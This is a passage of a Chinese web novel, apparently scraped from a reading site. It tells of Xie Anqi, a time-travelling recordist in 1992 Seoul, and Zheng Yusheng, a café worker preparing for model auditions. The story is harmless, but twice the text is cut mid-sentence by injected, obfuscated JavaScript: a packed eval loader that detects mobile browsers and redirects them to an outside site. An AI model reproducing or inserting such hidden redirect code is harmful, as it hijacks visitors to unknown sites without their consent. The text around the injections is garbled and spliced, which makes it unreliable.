“采访设备。”谢安琪说,“我不喜欢临时借人家的。” “你也不喜欢麻烦人。” “你不也一样?” 他没接话,只是看了谢安琪一眼,嘴角压下去,不再笑也不生气。 他们走出胡同,巷口有人在浇水,水流冲刷地砖的声音像一段随时能剪进录音的背景音。 她默默记下时间点,七点四十二分。 …… 地铁在乙支路口换乘,等了两站。 他们没坐下,一起站在门边,扶着铁杆。 车厢里的人不多,广告栏上是“1992电视节目录制特辑”的宣传贴,纸张已经卷边。 她看了一眼,说:“你以后会上电视吗?” “你说我?” “你不是在练试镜?” “电视跟广告不一样。” “你觉得你适合镜头?” 他看她一眼:“你觉得我适合?” 她盯着他五秒,然后点头。 “你有一种……镜头不讨厌的人设。” “什么意思?” “就是站在镜头前面不会变得讨好,也不会闪躲。” 他点头:“听起来像夸奖。” “就是夸你。” 这句谢安琪说得很直接。他却没像平时那样淡淡接过,而是忽然弯了弯嘴角。 地铁进站那一刻,他低声说:“你说话比你想象的真诚。” 她侧头看他:“你也笑得比你以为的多。” 他们从惠化站出来,光从地铁出口的阶梯缝里泻下来,洒在两人肩膀。 大学路早上的人不多,只有一排咖啡店门口在擦玻璃的学徒,和路边一个拖着画筒的男孩。街道铺了新砖,树荫斑驳,空气里有刚刚烘好的甜酥味。 她带他走过一家剧场旧址,门口贴了“因整修暂停演出”的手写牌。 “你以前来这边吗?”她问。 “高一的时候来过。”他说,“班主任带来看一场学生戏。” “记得演什么?” “不记得。记得开场时有人手机响。” 她笑出来:“那你肯定很难入戏。” “但那时候我想,如果我站在台上,是不是也会有人记住我。” 谢安琪没说话。 他轻轻侧头:“你以前有想过做表演类的吗?” “我在镜头后才是舒适的。” “你怕被看见?” “不是怕。我是不知道该怎么看回头。” 他看着她眼神认真了一秒:“那你现在还怕吗?” 谢安琪没回避:“你是说你?” 他没再说话。 …… 他们拐进一条巷子,路边是砖砌的低墙,一只猫正趴在墙头,眼睛半睁不睁。 墙根种着几株不知名的小树,风一吹,叶子哗啦响。 他们找到了那个老校工家,是一栋红砖老屋,门口铺着水泥板,有两双旧拖鞋并排放着。 谢安琪按了门铃。 没人应。 她再按了一次,还是没人。 郑禹胜站在她旁边,低声说:“你事先约了时间?” “昨天电话没人接,但他说他大部分时间都在。” “可能出门了。” 谢安琪点点头,从背包里拿出一张录音备忘卡,弯腰在信箱里放进去。 “你要等吗?”郑禹胜问。 “今天不等了。” 她站起来拍了拍裙角:“改天再来。” “白跑一趟你不烦?” “习惯了。”谢安琪说,“收不到声音这回事,是做这件事本身的一部分。” 郑禹胜盯着她半秒,没说什么。 他们走到大学街的咖啡店坐下,一人一杯冰美式。 风从门口玻璃缝隙灌进来,咖啡杯冒着细汗,木桌上慢慢浮起一圈水渍。 谢安琪看他用吸管搅了两下咖啡。 “你不爱喝这个吧?”她问。 “太苦。” “那你为什么点?” “你在喝。” 谢安琪一时不知道该说什么。 但她听懂了。 郑禹胜是说——他愿意试着靠近你日常里的味道。 …… 咖啡店是临街的老铺,天花板不高,风扇挂在中央缓缓转,墙上挂着几张用老照片印成的剧照。 坐靠窗的位置,一侧是半拉的遮光帘,帘子下垂着,正好遮住一半光。窗外是一家乐器行,琴弓吊在玻璃橱窗里,像一排失重的指尖。 谢安琪喝了两口冰美式,把杯口转了半圈。 郑禹胜没说话,也没看她,只低头看着桌面那圈慢慢扩大的水渍。 两人之间没什么隔阂,但也不主动填满每一秒。 她忽然说:“你觉得时间走得快吗?” 他看她一眼:“什么意思?” “就是每天都差不多,但突然就觉得,认识你已经不算短了。” 郑禹胜没立刻回答。 “我不太擅长记时间。”他说,“但你出现之后,我知道某些天跟别的天不一样。” 她没笑,没说话,只把手撑在桌边,手指绕着杯子边沿转了一圈。 …… 回程的时候下起了雨。 不是突如其来的急雨,而是那种像浇薄雾一样的绵雨,落在肩膀上没声音,但一会儿衣服就湿了。 他们没带伞,只能找地方躲。 街角有家关掉的旧书店,铁皮棚子外延出一米,刚好能遮两人。 郑禹胜抖了抖头发,头发往前黏了几缕。他甩了一下,也不多做整理。 谢安琪站在他左侧,肩膀几乎贴到铁柱。 她把背包移到胸前,说:“你冷吗?” “不冷。” “你看起来像冷。” “我皮肤薄,湿得快。” 谢安琪轻轻笑了一下:“你不如早说你身体不好。” “说了你就不会叫我陪你走一整天?” “不会。”她顿了顿,“但我可能会准备个备用计划。” 他看了谢安琪一眼,眼神不是责怪,反而像笑了一下。 “你太会照顾人了。” “你怎么知道?” “我感受到。”他说,“你问我冷吗,不是因为你怕我冷,是因为你想确认我还在感受。” 这话谢安琪没接。 但她也没否认。 雨小了一点,但仍未停。 他们没着急走,旁边的书店橱窗贴着老旧的宣传单,是某一年大学社团公演的海报。 谢安琪认出那字体,是她大学时社团学长写的。那时她还做过一场剧的幕后灯光,排练时灯一塌糊涂,主角跌下台,笑场了一整晚。 她指着那行字:“你信不信,我跟这个人排过戏。” 郑禹胜看了一眼:“你不是干幕后?” “那时候人少,主角拉去干体测,我替了半场。” “你演得怎么样?” “像背教材。” “那你还记得台词吗?” 她眨眨眼,像在调动记忆,然后背了一句:“‘你说你爱我,可你又把我放在风里,想让我飞也想让我碎。’” 他说:“有点意思。” 她说:“很中二。” “可我觉得你说得挺真的。” 她没回答,只是盯着橱窗发呆。 外面的雨又下大了点,像是听懂了她没说出口的台词。 他们等了十几分钟,雨才像被谁握住阀门一样慢慢停下。 走出铁棚时,地上水痕还在,街道被洗得干干净净,一排排屋檐边沿都反着光。 回地铁站那段路,他们一言不发。 但风吹在脸上,变得温凉。 “你明天不上晚班了?”她打破沉默。 “调了。下午试镜。” “紧张吗?” “还好。” “你拍定妆照了吗?” “朋友帮忙照了几张。下次你要不要帮我拍?” “你不怕我拍得比你朋友差?” “不怕。”他说,“你拍我,不一样。” 谢安琪停住脚,看了他一眼。 他说得很平静,不带调情,也不是测试。像是一句事实。 她点头:“好。” …… 回屋塔房的时候已近八点。 他们一前一后上楼,她拎着一袋湿纸巾,他手里只带着水。 到楼道口时,天顶那盏灯又坏了,楼梯陷在暗里。 谢安琪靠感应上楼,每一级踩得都慢。 走到自家门口时,郑禹胜忽然说:“你家门口这块地板,是我修的。” 她转头:“什么时候?” “你还没搬来那会儿,房东要换,但嫌请人贵,我就顺手钉了。” 谢安琪蹲下摸了摸那一小块地板,木纹确实不一样。 “那我是不是还欠你一顿饭?” “你已经欠了。” “那你提醒我,是想什么时候收?” 他答:“等你想请的时候。” “要是我一直不请呢?” “那我就一直等。” 谢安琪起身,手搭在门把上,盯着他看了一会。 风从天台方向吹下来,郑禹胜睫毛在灯光下动了一下。 她忽然笑了。 “那我就偏不请你。” 门开了,她走进去,在关门那一刻又回头说了一句:“你要是等得太久,就先开口。” …… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559017|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >晚上九点,屋顶风凉了。 谢安琪洗完澡,披着浴巾坐在窗边,把录音笔放在膝盖上,重复播放下午在咖啡店录下的那段对话。 她听见自己说:“你拍我,不一样。” 音量不大,但谢安琪听得很清楚。 她记得他说那句话时,眼神没有回避,也没有试探。 就是直白,像说“明天会下雨”,或者“天要黑了”。 谢安琪靠着窗框,听见风吹过窗外挂着的那两件晾衣服,一下、两下,像风铃没响的声音。 郑禹胜没再来敲她的门。她也没有主动出去。 不是疏远,是节奏合拍后的一种沉默许可。 他们都知道,刚刚那段走路、说话、坐着发呆的时光,是一种“默认”。 不说破,是另一种靠近。 谢安琪打开抽屉,把那天留下的那张照片翻出来。 照片是在便利店玻璃门反射里拍的——她本来是想拍街灯下的雨帘,结果自己和他一起映在里面。 照片洗出来时,她一度想剪掉自己那半边脸。可又觉得不甘心。 她用签字笔在背后写了一句: “我不确定你是不是记得我,但我知道我再见你一次时已经不想错过了。” 然后把它重新放进抽屉。 她怕以后自己又忘。 谢安琪怕哪一天醒来,时间又跳走,她跟郑禹胜的婚约来得太突然了,所以她一直不想跟郑禹胜太亲近,这种亲近是指灵魂和思绪的沟通。 至于身体亲近,她试过很多次了,很亲近,但这不是她突然回到92年的原因。或者说谢安琪到现在也没能找到自己时空旅行的原因。 当然,谢安琪也不敢跟郑禹胜提起她穿越的事情,或者说谢安琪怕她还是她,而他不再是郑禹胜了。 楼上传来脚步声,是郑禹胜,92年还在灿烂二十代的郑禹胜,她分辨得出他的脚步——均匀、节制、落地有重音,像是他对走路这件事也有一种控制。 郑禹胜没来找她。 只是在屋顶来回走了几步,又下楼回屋。 谢安琪忽然想起很久以前,有一个朋友告诉她: “不管多早的时间线,只要一个人愿意在你不叫他的时候靠近你,就是一种开始。” 谢安琪想,她要记住这句话。 凌晨两点,风声停了。 谢安琪躺在床上,翻了一个身,没睡着。 手机放在枕头旁,录音设备亮着红灯,她刚录完一段个人语音笔记。 谢安琪听了最后五秒,只是她轻轻说了一句: “我希望这次,我们不是彼此的插曲。” 然后她按了保存。 这一段不会剪进任何节目,不会拿去展映,也不会给任何人听,但她需要为自己留下这几秒。 哪怕未来谢安琪又走失在时间里,哪怕他又忘了她。她至少知道,自己曾经真的希望,时间对他们两个,有一点温柔。 …… 清晨五点,天边泛起鱼肚白。 屋塔房顶上,晾着的衣服已经干透。 郑禹胜早起,他拎着水壶在水龙头接水。 接完的时候,他抬头看了看天,又转头看了看她屋子的窗。 窗帘还没拉开,屋里没灯,像还在沉睡。 他没打扰,只站了几秒,像是在确认什么。 然后回屋。 但他不知道,谢安琪那时正坐在屋里,靠在墙角,醒着。 她没出声。 只是听见水管响起、他脚步从墙那侧掠过的声音,然后安静。 她轻轻地笑了一下,像听见一段熟悉的旋律。 然后闭上眼。 这一晚她终于睡着了。 …… 睡着了,就会有梦。 谢安琪在梦里醒来,是在一间很安静的摄影棚里。 天花板很高,墙壁刷成沉灰色,光从落地窗斜斜打下来,像铺在旧帆布上的投影。空气干燥,带一点胶片的味道。 谢安琪站在正中间,穿着一件她不记得自己拥有的连衣裙,领口有两粒白色的扣子,风一吹会晃动。 远处有人在调光。 她本能地转身,看见一个背影。 高、瘦,穿白衬衫,袖口卷起到肘弯,右手拿着一只镜头盖,左手撑在灯架边缘。 他没回头,但她认得出。 是郑禹胜。 但他看上去比现在成熟得多。头发短了一些,眼角有浅浅的纹,身上有一种说不出的、穿越过厚重时间后的稳静。 谢安琪站着不动,只看着他。 郑禹胜像是知道她在,却故意不回头。 他开始讲话了,但声音不是对着她,是像自言自语,又像是念对白。 郑禹胜说:“有些人啊,年纪大了反而不敢讲清楚了。” 谢安琪站得很近,听得清每个音节。 “怕说了她就走了。”他继续说,“怕她觉得你一直在演,不是真心。” 郑禹胜说话的时候,手还在调整灯光,语速慢,带点疲惫。 谢安琪开口了,声音听起来也不像她自己的:“你是在说我吗?” 他顿了一秒,没回头,只说:“你听见了?” “我一直在。” “那你现在来,是来问我,还是来确认我还记不记得?” 谢安琪说不出话。 空气像被厚布包住,光线柔得像隔着玻璃看火。 郑禹胜终于回头了,眼睛还是那双眼睛,但比她记得的更深,眼底像藏着一整条冬夜的街。 “我当然记得你。”他说,“一直都记得。” 郑禹胜走近她,不是慢,也不是快,而是带着一种“我等这一步走了太久”的踏实。 “我记得你站在便利店门口,买了一瓶过期的牛奶还不肯退。” “我记得你蹲在屋塔房门口擦录音设备,风把你头发吹得一脸。” “我也记得你睡觉不关窗,夏天热得像蒸笼,但你说你怕醒不过来错过什么声音。” 他说的每一个场景,谢安琪都想不起是哪一次了。 但谢安琪知道他没编。 那种语气不是背稿,是像某种记忆在体内积太久终于找到出口。 “那你为什么一直不说?”她问。 郑禹胜低头,眼神在她肩膀以下某个位置停了几秒,然后抬起头:“因为你每次都不一样。” “我怕我说了,你会觉得我记得的是‘上一个你’。” “而不是现在的你。” 谢安琪忽然觉得心口有点空。 像站在台阶上突然找不到下一格,身体悬了一瞬。 郑禹胜伸手,手掌很暖,但碰不到她。 空气在他们之间撑着一道薄膜。 “我有时候分不清你是来找我,还是来证明你可以来。” “你每次都记得我,可你也总想回到比现在更早的那个我。” “那我怎么办?” “我只活在一次人生里。”他说,“你来得太多次了。” 谢安琪眼眶有点热。 “那你恨我吗?” 郑禹胜沉默了一下。 “不。”他说,“我只是不敢再问你是不是这次真的想留下,而且我是爱你的。” 谢安琪眼前开始泛白光,整个摄影棚像被阳光吞掉,轮廓逐渐模糊,她最后看见他抬头,站在光里,像是在等一个不再醒来的重逢。 然后她醒了。 耳边只有窗外屋顶雨滴砸在塑料棚上的声音,啪、啪、啪。 现实又冷又静,她躺在床上很久,才敢动手指。 …… 谢安琪醒来的时候天还没亮。 窗帘边透着一丝灰白,空气里浮着早晨最安静的一道温度,还未热,还不凉,只是一种介于梦境和现实之间的钝。 她躺着没动,头发枕得有点乱,手指轻轻拂过胸口。 那里刚才在梦里疼过。 疼的不是一句话,不是拥抱被拒,而是他说“你每次都不一样”的那种无力感。 谢安琪知道他不是指责,而是他真的不知道,这一次的她,还会不会留下。 而谢安琪自己,自己也不知道。 她想留下,可她还不能确定这个“现在”到底是不是他会选择她的那一个版本。 谢安琪坐起身,翻开枕边的笔记本。 第一页空白,她在上面写了一行字:“梦里你老了,但没变。” 然后是第二行:“我醒来了,却不确定你有没有梦到我。” 写完这两句,她关上本子。 窗外有风吹进来,带着水泥地板的冷意和未干的植物味。 谢安琪披上外套走到窗边,看见对面屋塔房的窗帘还拉着,郑禹胜还没醒。 他这一觉睡得比平时久。 大概是昨天走了一天太累,也可能……是梦到了什么。 她忽然有点想知道,在另一个梦里,他是不是也在找她。 …… 那天上午,她没有出门。 她一整天都在屋里收拾资料,整理采访素材,清理电线,归类录音带。 谢安琪打开那台备用老式录音机时,从里面掉出一张老照片。 照片背面写着日期:“3月5日”,上面是一个模糊的展览布景,一只琴弓靠在椅背上,椅子后面是郑禹胜的影子。 她记得这张。那时候他还没成为任何“正式的身份”,但她已经知道——这个人以后会变成什么样。 她捏着照片发了一会儿呆,最后没收回抽屉,而是贴在了窗框上。 她想给现在的自己留下一点痕迹。 哪怕以后忘了,哪怕未来再重来一次,也能看见这个时刻:她不是在等过去的他,而是在现在,和他并肩存在过。 晚上快十点,他来敲门。 她本以为不会再见到郑禹胜,至少今天不会。 但他来了,站在门口,头发有点乱,手里拿着一罐热的麦茶。 “路过。”他说,“买多了一罐。” 谢安琪接过来,热气扑在指缝上,一下就融了白天的虚晃。 “你今天没出门?”他问。 “做整理。”谢安琪抬头看他,“你今天怎么样?” “早上起来头有点疼。” 谢安琪心一跳。 他顿了顿,又说:“像是……梦到很多事,但醒了记不清。” 谢安琪咬了咬唇,小声说:“可能你真梦到我了。” 他看着她没动,然后轻轻点头,说:“可能吧。” 她笑了。 这次不是梦了。 郑禹胜是真的在这里,带着热饮、没睡够的眼神,和那种哪怕不记得梦,也会留下感觉的心意。 谢安琪想,这一次,也许可以走得比以前远一点。 21.第21章 午后的咖啡店有点闷。 风不大,吊扇慢悠悠地转着,像在搅拌一个温吞的下午。吧台后面摆着新进的杏仁奶、塑料杯、印有LOGO的吸管纸套,柜子底下的制冰机咕噜咕噜响。 郑禹胜穿着店里的短袖制服,袖口有些皱,围裙洗得发白,脖子上挂着点单笔。 他站在咖啡机前,正在打奶泡,面前排着三杯还没贴标签的拿铁,蒸汽一响,整间店都溢出牛奶香味。 店主站在边上手写进货单,忽然抬头问他:“你那个模特比赛报名了没?” 他没应,继续稳着手中的缸。 “我说真的,”店主靠近了点,“你这种脸不去试一下太可惜了。” 郑禹胜皱了下眉,没回话。 “要不这样,”店主接着说,“你下次排班我给你换掉一下午,当请假,行不行?” “……再说。” “你又不是学生了,”店主看他一眼,“怕什么?” 郑禹胜没解释。他把打好的奶泡倒进纸杯,一杯一杯贴上客人名字的贴纸,动作慢但准确。 …… 谢安琪到的时候,外面阳光正毒。 她站在咖啡店斜对面的小巷口,摘下墨镜,慢慢呼了口气。 有几个女生正在店门口拍照,刻意站在落地窗前,比着手势,有人笑着说:“他今天真的在。” 她没说话,只默默看着。 郑禹胜站在吧台后,光正好打在他侧脸。 他没注意窗外,只是低头点单,嘴唇动得很轻,一张张小票从机器里冒出来,他按住,盖章,再放进杯口的插槽里。 她认得这个姿势。他有点习惯性站得笔直,像怕别人从背后看出他在发呆。谢安琪过了马路,推开门时,风铃响了一声,几个女生回头看她,有人小声笑了笑。她没理会,走到点单区,排在一个男生后面。 轮到她时,郑禹胜抬头。 “冰美式。”她说,“小杯。” 他点头,手指在屏幕上滑了一下。 “名字?” 她愣了一秒。 “纸杯上写名字。”他抬眼解释,“要贴的。” 她咳了一声:“写谢吧。” 他笑了一下,低头写字:“好。” 她接过咖啡时,他眼睛还盯着收银屏幕,语气照常:“坐里边凉。” 她点了点头,走到角落的单人位坐下。 那里靠墙,风扇吹得着,能看见他工作,也能听见机器声,但不会被其他客人盯着。她吸了一口,苦得刚好。几分钟前那个调侃她的女生从店里离开,临走前偷偷回头看了郑禹胜一眼,像没敢多停留。 谢安琪把吸管转了转,看着杯壁的水珠缓缓滑落。他确实好看。而这种好看,偏偏是不主动、不引人,不摆明“我知道”的那种,所以才更容易被注视。 她以前看过类似的纪录片:人类天生会注意那些“不试图让人注意的人”。她不知道自己到底是研究的习惯发作,还是心底早就有一点私心。 他忙完点单,高峰过去,绕过柜台走向后面的小工作间,经过她桌边时脚步停了一下。她正低头在本子上写点什么,听见鞋底的声音,抬起头。 “你在写?” “采访笔记。” “今天约谁?” “下午两点,一家老录像厅。” 他点点头,又问:“你几点要走?” “一点二十。” “我休息到一点整。” “你想说?” “可以陪你走过去。”他说,“天气太晒。” 她没说好也没说不。 只是低头喝了一口咖啡,意思是默认。他转身走进后间。门关上那刻,她轻轻叹了一口气。不是因为这句邀请,是因为她忽然意识到—— 他已经开始在安排她的“出场”和“离开”了。 哪怕只是一段路。 …… 他们一起走到录像厅时,街道热气已退。树荫从建筑边缘洒下来,投在他白衬衫上,泛出一点细斑。她拎着录音包,他拿着一个纸袋,里面是她买的蔬菜。 “你到哪儿?”她问。 “便利店那边。” “几点上班?” “四点。” “你不先回屋?” “今天不上去。”他顿了一下,“在楼下休息一会。” 她点点头。门口到了,她停住。他没动。谢安琪看他一眼:“你要在这儿等我?” “不。”他说,“我就想送你到门口。” 谢安琪忽然笑了,低声说:“你今天话挺多。” 郑禹胜没接。只是伸手替她理了理额前的发丝,然后说:“今天你出现在我眼前这件事,我真的好高兴的。” 谢安琪没回应,只是握紧手里的麦克风,像是心跳没停。 …… 那天下午,谢安琪采访结束,回到屋塔房时,天已经擦黑。天空一片深灰,楼下传来锅铲碰锅沿的响声,还有电风扇高速转动时“咯咯咯”的震动声。她洗了个澡,正用毛巾擦头发,听见门外传来一声“咚”的脚步。 她愣了下,还没走过去,门已经响了三下。她开门时,他正站在门口,呼吸略喘,脸颊有点红,眼里带着压不住的兴奋。 “我进来可以吗?”他说。 她点头,让他进屋。 他一进门就站着,情绪很激动,像是刚讲完电话。 “我过了第一轮。”他语气短促,“模特试镜那边——他们打电话说,面试时间定下来了。” 她有点没反应过来,脑子里还残留着采访中老录像厅老板的声音。 “你说……真的?”她轻声问。 他点头,眼睛里像闪着光:“真的。” 她没笑出来,只是站起身,拉开窗户,让风进来。 “要不要上楼庆祝一下?”他说,“我买了啤酒。” 她看着他手里空空的:“你人先来,酒后面再补?” “已经冰着了。”他语气认真,“放邻居的冰柜里了。” 她笑了,这次是真笑。 “走吧。” …… 天台上没别人。 晾衣杆上还挂着昨天晒的帆布包,一侧墙角积了点雨后的水。他们在砖头垒的小台面上放了两瓶啤酒、一盒紫菜饭团,还有一小包熟鸡蛋。郑禹胜坐在水塔边,背靠铁皮墙,白衬衫在灯光下泛着一点柔光。 “你知道吗,”她拿起啤酒瓶,“我以为你不会第一时间来找我。” “那你以为我会找谁?” “你的朋友?家人?” 他摇头:“我第一时间就想跟你说。” 她没说话,只举起瓶子:“那恭喜你。” 他碰了下谢安琪的瓶子,发出一声轻响。风从西边吹过来,把她额前头发轻轻卷起。她喝了一口,不重,偏甜,不像烈酒,更像饮料。郑禹胜没喝,只是看着她。 “你看我干嘛?”她问。 “确认是不是在梦里。” “那你确定了吗?” “还没。”他说,“要再碰一次才知道。” 谢安琪没回避。只把酒瓶轻轻地再次碰上去,声音比上次更轻,却像敲醒了什么。吃到一半时,郑禹胜忽然开口:“你觉得,我适合走这一行吗?” “你问我?” “你不是一直在看人吗?” 她放下酒瓶:“你长得不差,镜头感又强,当然适合。” “可我一想到自己站在那么多人前面,就会发慌。” “因为你以前习惯做那种存在感低的人。” 他点头。 “那你还想继续做模特?” 他没立刻回答。 “我想做一点能留下来的东西。”他终于说,“不是那种三秒钟就会被刷过去的。” “你想留下什么?” “我也不知道。”他声音低下来,“可能是影像,也可能是记忆。” 她看着他眼角的光,忽然有点分不清他是不是在说自己,还是在说两个人。他没转头,随后只低声问了一句:“那我以后的未来里……还会有你吗?” 这句来的突兀,却不像是情绪突然,而像在心里压了很久,终于开了个口,谢安琪没马上答。风吹过她手边纸袋,发出窸窸窣窣的声音。她低头,看着饭团咬掉一半的痕迹,像在思考,也像在逃避。 过了一分钟,她轻声说:“我不知道。” “为什么?” 她声音更低:“因为我不确定你会记得。” “记得什么?” 她抬头,眼睛泛着一点疲惫:“记得我。” 郑禹胜没再问,只是静静地看她,然后笑了笑。那笑意不重,也不悲,只是像听见了一个早就知道的答案。 “我也不知道。”他说,“我也不确定,你记得的是我。” 她抬头看他一眼。 他继续说:“但如果你不想说,我就不问了。” “你不生气?” “你没义务告诉我。” 她没说话,风停了一秒,又吹过来。谢安琪往他身边挪了点:“那你接下来想做什么?” “活着。” “再具体点?” “找到一件我愿意做下去的事。不是为谁做,也不是因为逃,而是因为我真的想。” 她点头:“那你现在算想了吗?” “还在想。” 她没笑,只伸手拎过他的酒瓶,帮他打开:“那你边喝边想吧。” 他没接她的瓶子,而是看着她,轻声说:“如果你还在,我愿意慢慢想。” …… 他们坐到很晚。 天台灯光不亮了,偶尔闪一下,是电线老化留下的脾气。谢安琪靠着矮墙,头发因为风而有点乱,眼尾也显得更柔和。郑禹胜看着她,不动,也不说话。 “你是不是很容易想太多?”她问。 他点头:“很怕走错一步。” “所以你一直走得很慢?” “不是慢,是想看清一点。” “可你知道的,再清也看不见未来。” 他嗯了一声,低头咬开一颗蛋。 “但有时候……”他说,“你站在那里,就是我愿意试着往前走的一种理由。” 这句话谢安琪没有第一时间接住,她只是轻轻“啊”了一声,像是让它在空气里待一会儿,再慢慢落到自己手心里。 …… 回屋时,他们没并肩走,谢安琪走在前面,他走在她身后两步远。楼梯有一点旧,每踏一步都带回声。她没开灯,只靠天台余下的那点亮光慢慢走下去。进屋前,她忽然回头,看郑禹胜还站在门口。 “你明天几点出发?” “十一点。” “想吃早饭吗?” 他顿了顿:“你做?” “我订。”她扬了扬眉毛,“楼下便利店有新的包饭。” 他笑了一下:“可以。” “那你等我敲门。” “你要是不敲呢?” “你不是说你会一直等?” 他轻轻点头:“我等。” 她没再说什么,进屋关了门,门上锁的声音在她耳边炸了一下,像心跳同步的回声。 …… 第二天早上,她起得比闹钟早。 空气闷了一点,屋里带着一股昨晚没散掉的热。她洗了脸,擦了护肤水,换了件干净的蓝衬衫。谢安琪拿着手机下楼,饭团店刚开门,玻璃门上挂着“20%打折”的牌子。 她买了两份,一份紫苏金枪鱼,一份泡菜炒猪肉,还有两杯咖啡。上楼的时候,脚底踩在木梯上咯吱响,那种微弱的震动像提醒她自己:别装得太自然。谢安琪在他门口站了一秒,轻轻敲了两下。郑禹胜没让她等太久。门一开,郑禹胜穿着黑T,头发还有点乱,眼神却是清的。 “早。”她把袋子递给他。 “谢谢。”他接过,没马上打开。 她没走,站在门口喝了一口咖啡:“你今天紧张吗?” “有一点。” “你这人平时看不出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574240|169893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪,结果是容易怕场面的人。” “怕的是自己搞砸。” “但你今天不一样。”她说。 “哪里不一样?” “你现在有人可以说出来。” 他说:“那你愿意听我说完?” 她点头:“如果你愿意讲。” 他边吃饭边说,“我小时候第一次参加音乐演出,忘了带琴。” “你是说中提琴?” “对。那次本来是独奏。我妈临时去加班,我一个人坐车,结果在公交上睡着了。到场后,我只剩人了。” “然后呢?” “主办方临时给我一把替代琴,但弦断了。我上台前花了十五分钟自己绑弦,演出那天我发烧,还在流鼻血。” “你还上台了?” “上了。” “你疯了吧?” “那天我一个音都没拉错。” 她听完后过了好几秒才说话:“你那个时候就这么倔?” “不是倔。”他说,“是知道自己没得选。” 她没说话,只低头继续喝咖啡。他快吃完的时候,接到了电话。是试镜方的确认电话。她听见他语气比平时低,但是那种“为了不让自己太露”的控制。 “我知道了。谢谢你通知。”他说。 挂了电话后,他没抬头。 “定了?”她问。 他点头:“下午两点,江南。” “你准备怎么去?” “地铁。早点出门。” “需要我送你?” “你不是有采访?” “可以改。” 他这才看她一眼。 她笑着说:“我又不是对你没好奇心。” 他没说行,也没说不行。 只是轻轻合上了饭盒。 屋外的风吹动他们之间那道门缝,像一只透明的手,从过去慢慢伸到现在。 …… 他出门那会儿,阳光刚好斜照进屋塔房楼道。谢安琪站在窗边,看着他穿着干净的白T、牛仔裤,背着画册和文件夹,一步步走下去。他走得不快,但很稳。每一个脚印都像印在她眼前。 他没回头,她也没叫他,谢安琪知道这种时候,回头会让人更紧张。她也相信他不需要鼓励,只需要有人在——哪怕只是站在窗口不出声地看。 郑禹胜走出胡同的那一刻,风吹起他T恤的衣角。她抓着窗框的手收紧了一点。 “加油。”她轻声说,声音只有自己听见。 …… 那天谢安琪原定的采访取消了,她没立刻联系其他人安排,而是一个人去了东桥市场。那里有家她一直想拍的老唱片店,老板年纪大,店里堆满了八十年代和九十年代的黑胶唱片,味道很重。 她在店里拍了三段短视频,还录下了老板调音头时的“哔哔”声,她试着把注意力集中在现场声和构图上,可心思还是游移。 谢安琪总觉得,在城市某个她看不见的地方,有一个她在意的人,正独自穿过一个不属于他、但他想试着去触碰的世界。那是一种莫名的连接感,不强,但持续,像是低频的呼叫,一直在耳朵后面悄悄震动。 下午五点半,谢安琪刚回到屋塔房。一上楼,就看见郑禹胜站在天台,背对她,双手撑在水泥墙上,整个人像在等风穿透身体。 她走过去:“回来多久了?” 他没转头:“十分钟。” “试镜还好?” “还行。” “你不打算多说点?” “我不想讲过程。” “那结果呢?” “下周通知。” 她没追问。 只是靠在栏杆上,陪他一起望着远处的落日。天有点热,像锅盖闷着一层光。空气里浮着柴火和胶水的味道,不难闻,但沉。 “你走进去的时候怕吗?”她问。 “怕。”他回答得很快,“我怕我不是他们要的那种。” “但你还是去了。” “因为你说,你会看我站在那里。”谢安琪怔了一下。 他偏头看她:“你记得吗?” 她点头:“记得。” 郑禹胜点头:“那我就不怕了。” …… 晚上九点,两人坐在她屋里,地板上放着两碗泡面,一杯麦茶。电视机开着,是旧剧台,画面有点雪花,演员嘴巴和台词对不上。 谢安琪没在看电视,只是夹起泡面慢慢吃。郑禹胜靠在桌边,右手握筷,左手搭在膝盖上,眼睛看着屏幕,却一动不动。 “你有没有发现,”她忽然说,“我们已经像老夫老妻一样了。” 他咳了一下:“你说什么?” “我说——我们现在的生活节奏,像过日子。” 他没否认。 只是慢慢咀嚼,然后说:“我喜欢现在。” 她“嗯”了一声。 然后抬头看着他:“但我们还没有真的谈过一次心。” 郑禹胜笑了笑:“我们已经在谈了,只是你不叫它那个名字。”她没再说什么。直到夜深了,他起身准备走。她送他到门口,手撑在门边,问:“你刚才说的,是真的喜欢现在?” 他点头。 “那你有没有想过——以后?” “有想过。” “想到了哪一步?” 郑禹胜没立刻答,最后只说了一句:“我想到你在的那一步。” 谢安琪盯着他看,眼神软下来。 “那你记住今天的样子。”她轻声说。 “为什么?” “以后如果不记得,就来问我。” “那你会一直在?” 她没回答。 他却低声说了一句:“我希望你不要再走了。” 谢安琪站在门后,看着他转身离开。 风从走廊灌进来,带着晚上的热,和一种不确定的未来的味道。谢安琪忽然有点想,如果她真的留下,那一天会是什么样子。但今天,她只是靠在门上,听自己心跳得很稳。 22.第22章 模特训练在一座旧舞厅改建的场地举行。 天花板仍保留原本的圆顶灯饰,墙面刷了哑灰,木地板踩上去有弹性。摄影机架在三角支上,周围是一圈圈坐着的试镜组、品牌代表和策展人。 郑禹胜站在场地中央,身上穿着指定的白衬衫与灰西裤,肩膀略显紧绷。 拍摄刚开始十分钟,他已经换了三个角度、六个站姿。摄影师没多说话,只偶尔点点头,“继续”、“眼神再深点”,像在操控一尊光线下的投影模型。 他不是这群人里最耀眼的。 但他有一种难以描述的稳定性——镜头扫过别人像是流动,扫过他时像是按下暂停,光一下子安静。 练习结束时,一个剧组工作人员拎着剧本走来,低声在负责人耳边说了句什么。 负责人点了点头,指了指郑禹胜。 